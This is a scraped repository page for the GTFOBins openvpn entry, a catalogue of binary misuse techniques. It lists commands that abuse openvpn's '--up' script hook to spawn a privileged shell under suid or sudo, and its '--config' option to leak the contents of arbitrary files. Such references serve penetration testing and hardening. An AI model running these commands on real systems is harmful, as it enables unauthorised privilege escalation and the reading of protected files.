GTFOBins.github.io/_gtfobins/openvpn.md
Andrea Cardaci daf9b43e80 Add openvpn file-read
Related #171.
2021-02-20 00:56:22 +01:00

819 B

functions
file-read suid sudo
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read openvpn --config "$LFILE"
code
./openvpn --dev tun0 --script-security 2 --up '/bin/sh -p -c "sh -p"'
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read ./openvpn --config "$LFILE"
code
COMMAND='id' sudo openvpn --dev tun0 --script-security 2 --up '/bin/sh -c sh'
description code
The file is actually parsed and the first partial wrong line is returned in an error message. LFILE=file_to_read sudo openvpn --config "$LFILE"